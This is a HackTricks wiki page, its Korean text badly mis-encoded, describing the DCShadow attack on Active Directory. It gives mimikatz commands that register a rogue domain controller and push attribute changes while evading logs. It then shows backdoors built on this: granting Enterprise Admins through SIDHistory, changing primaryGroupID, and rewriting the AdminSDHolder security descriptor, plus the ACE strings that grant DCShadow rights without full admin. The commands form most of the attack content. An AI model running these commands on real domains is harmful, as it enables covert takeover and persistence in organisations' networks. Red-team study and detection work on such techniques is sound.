{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** ๐ฌ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** ๐ฆ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
# DCShadow
AD์ **์ ๋๋ฉ์ธ ์ปจํธ๋กค๋ฌ**๋ฅผ ๋ฑ๋กํ๊ณ ์ด๋ฅผ ์ฌ์ฉํ์ฌ ์ง์ ๋ ๊ฐ์ฒด์ **์์ฑ**(SIDHistory, SPNs...)์ **๋ก๊ทธ**๋ฅผ ๋จ๊ธฐ์ง ์๊ณ **ํธ์**ํฉ๋๋ค. **DA** ๊ถํ์ด ํ์ํ๋ฉฐ **๋ฃจํธ ๋๋ฉ์ธ** ๋ด์ ์์ด์ผ ํฉ๋๋ค.\
์๋ชป๋ ๋ฐ์ดํฐ๋ฅผ ์ฌ์ฉํ๋ฉด ๋งค์ฐ ๋ถ์พํ ๋ก๊ทธ๊ฐ ๋ํ๋ ์ ์์ต๋๋ค.
๊ณต๊ฒฉ์ ์ํํ๋ ค๋ฉด 2๊ฐ์ mimikatz ์ธ์คํด์ค๊ฐ ํ์ํฉ๋๋ค. ํ๋๋ SYSTEM ๊ถํ์ผ๋ก RPC ์๋ฒ๋ฅผ ์์ํ๋ฉฐ(์ฌ๊ธฐ์ ์ํํ ๋ณ๊ฒฝ ์ฌํญ์ ์ง์ ํด์ผ ํจ), ๋ค๋ฅธ ์ธ์คํด์ค๋ ๊ฐ์ ํธ์ํ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค:
{% code title="mimikatz1 (RPC servers)" %}
```bash
!+
!processtoken
lsadump::dcshadow /object:username /attribute:Description /value="My new description"
```
{% endcode %}
{% code title="mimikatz2 (push) - DA ๋๋ ์ ์ฌ ๊ถํ ํ์" %}
```bash
lsadump::dcshadow /push
```
{% endcode %}
**`elevate::token`**๋ `mimikatz1` ์ธ์
์์ ์๋ํ์ง ์์์ ์ฃผ์ํ์ธ์. ์ด๋ ์ค๋ ๋์ ๊ถํ์ ์์น์ํค์ง๋ง, ์ฐ๋ฆฌ๋ **ํ๋ก์ธ์ค์ ๊ถํ**์ ์์น์์ผ์ผ ํฉ๋๋ค.\
"LDAP" ๊ฐ์ฒด๋ฅผ ์ ํํ ์๋ ์์ต๋๋ค: `/object:CN=Administrator,CN=Users,DC=JEFFLAB,DC=local`
DA ๋๋ ์ต์ํ์ ๊ถํ์ ๊ฐ์ง ์ฌ์ฉ์๋ก๋ถํฐ ๋ณ๊ฒฝ ์ฌํญ์ ํธ์ํ ์ ์์ต๋๋ค:
* **๋๋ฉ์ธ ๊ฐ์ฒด**์์:
* _DS-Install-Replica_ (๋๋ฉ์ธ์์ ๋ณต์ ๋ณธ ์ถ๊ฐ/์ ๊ฑฐ)
* _DS-Replication-Manage-Topology_ (๋ณต์ ํ ํด๋ก์ง ๊ด๋ฆฌ)
* _DS-Replication-Synchronize_ (๋ณต์ ๋๊ธฐํ)
* **๊ตฌ์ฑ ์ปจํ
์ด๋**์ **์ฌ์ดํธ ๊ฐ์ฒด** (๋ฐ ๊ทธ ์์๋ค):
* _CreateChild and DeleteChild_
* **DC๋ก ๋ฑ๋ก๋ ์ปดํจํฐ์ ๊ฐ์ฒด**:
* _WriteProperty_ (์ฐ๊ธฐ ์๋)
* **๋์ ๊ฐ์ฒด**:
* _WriteProperty_ (์ฐ๊ธฐ ์๋)
[**Set-DCShadowPermissions**](https://github.com/samratashok/nishang/blob/master/ActiveDirectory/Set-DCShadowPermissions.ps1)๋ฅผ ์ฌ์ฉํ์ฌ ๋น๊ถํ ์ฌ์ฉ์์๊ฒ ์ด๋ฌํ ๊ถํ์ ๋ถ์ฌํ ์ ์์ต๋๋ค (์ด๋ก ์ธํด ์ผ๋ถ ๋ก๊ทธ๊ฐ ๋จ๊ฒ ๋ฉ๋๋ค). ์ด๋ DA ๊ถํ์ ๊ฐ์ง๋ ๊ฒ๋ณด๋ค ํจ์ฌ ๋ ์ ํ์ ์
๋๋ค.\
์๋ฅผ ๋ค์ด: `Set-DCShadowPermissions -FakeDC mcorp-student1 SAMAccountName root1user -Username student1 -Verbose` ์ด๋ _**mcorp-student1**_ ๋จธ์ ์ ๋ก๊ทธ์ธํ ์ฌ์ฉ์ ์ด๋ฆ _**student1**_์ด ๊ฐ์ฒด _**root1user**_์ ๋ํด DCShadow ๊ถํ์ ๊ฐ์ง๊ณ ์์์ ์๋ฏธํฉ๋๋ค.
## DCShadow๋ฅผ ์ฌ์ฉํ์ฌ ๋ฐฑ๋์ด ์์ฑํ๊ธฐ
{% code title="SIDHistory์ ์ฌ์ฉ์๋ก์ Enterprise Admins ์ค์ " %}
```bash
lsadump::dcshadow /object:student1 /attribute:SIDHistory /value:S-1-521-280534878-1496970234-700767426-519
```
{% endcode %}
{% code title="์ฃผ ๊ทธ๋ฃน ID ๋ณ๊ฒฝ (์ฌ์ฉ์๋ฅผ ๋๋ฉ์ธ ๊ด๋ฆฌ์ ๊ทธ๋ฃน์ ๊ตฌ์ฑ์์ผ๋ก ์ถ๊ฐ)" %}
```bash
lsadump::dcshadow /object:student1 /attribute:primaryGroupID /value:519
```
{% endcode %}
{% code title="AdminSDHolder์ ntSecurityDescriptor ์์ (์ฌ์ฉ์์๊ฒ ์ ์ฒด ์ ์ด ๊ถํ ๋ถ์ฌ)" %}
```bash
#First, get the ACE of an admin already in the Security Descriptor of AdminSDHolder: SY, BA, DA or -519
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=Admin SDHolder,CN=System,DC=moneycorp,DC=local")).psbase.Objec tSecurity.sddl
#Second, add to the ACE permissions to your user and push it using DCShadow
lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=moneycorp,DC=local /attribute:ntSecurityDescriptor /value:
```
{% endcode %}
## Shadowception - DCShadow ๊ถํ ๋ถ์ฌํ๊ธฐ (์์ ๋ ๊ถํ ๋ก๊ทธ ์์)
๋ค์ ACE๋ฅผ ์ฌ์ฉ์ SID์ ํจ๊ป ์ถ๊ฐํด์ผ ํฉ๋๋ค:
* ๋๋ฉ์ธ ๊ฐ์ฒด์์:
* `(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)`
* `(OA;;CR;9923a32a-3607-11d2-b9be-0000f87a36b2;;UserSID)`
* `(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)`
* ๊ณต๊ฒฉ์ ์ปดํจํฐ ๊ฐ์ฒด์์: `(A;;WP;;;UserSID)`
* ๋์ ์ฌ์ฉ์ ๊ฐ์ฒด์์: `(A;;WP;;;UserSID)`
* ๊ตฌ์ฑ ์ปจํ
์ด๋์ ์ฌ์ดํธ ๊ฐ์ฒด์์: `(A;CI;CCDC;;;UserSID)`
๊ฐ์ฒด์ ํ์ฌ ACE๋ฅผ ๊ฐ์ ธ์ค๋ ค๋ฉด: `(New-Object System.DirectoryServices.DirectoryEntry("LDAP://DC=moneycorp,DC=local")).psbase.ObjectSecurity.sddl`
์ด ๊ฒฝ์ฐ **์ฌ๋ฌ ๋ณ๊ฒฝ์** ํด์ผ ํ๋ค๋ ์ ์ ์ ์ํ์ธ์, ๋จ ํ๋์ ๋ณ๊ฒฝ๋ง์ด ์๋๋๋ค. ๋ฐ๋ผ์ **mimikatz1 ์ธ์
** (RPC ์๋ฒ)์์ ๋ณ๊ฒฝํ๊ณ ์ ํ๋ ๊ฐ ๋ณ๊ฒฝ์ ๋ํด **`/stack`** ๋งค๊ฐ๋ณ์๋ฅผ ์ฌ์ฉํ์ธ์. ์ด๋ ๊ฒ ํ๋ฉด **`/push`**๋ฅผ ํ ๋ฒ๋ง ์ํํ์ฌ ๋ชจ๋ ์คํ๋ ๋ณ๊ฒฝ์ ์
์ฑ ์๋ฒ์์ ์ํํ ์ ์์ต๋๋ค.
[**DCShadow์ ๋ํ ๋ ๋ง์ ์ ๋ณด๋ ired.team์์ ํ์ธํ์ธ์.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1207-creating-rogue-domain-controllers-with-dcshadow)
{% hint style="success" %}
AWS ํดํน ๋ฐฐ์ฐ๊ณ ์ฐ์ตํ๊ธฐ:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
GCP ํดํน ๋ฐฐ์ฐ๊ณ ์ฐ์ตํ๊ธฐ: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks ์ง์ํ๊ธฐ
* [**๊ตฌ๋
๊ณํ**](https://github.com/sponsors/carlospolop) ํ์ธํ๊ธฐ!
* **๐ฌ [**Discord ๊ทธ๋ฃน**](https://discord.gg/hRep4RUj7f) ๋๋ [**ํ
๋ ๊ทธ๋จ ๊ทธ๋ฃน**](https://t.me/peass)์ ์ฐธ์ฌํ๊ฑฐ๋ **Twitter** ๐ฆ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**๋ฅผ ํ๋ก์ฐํ์ธ์.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) ๋ฐ [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.**
{% endhint %}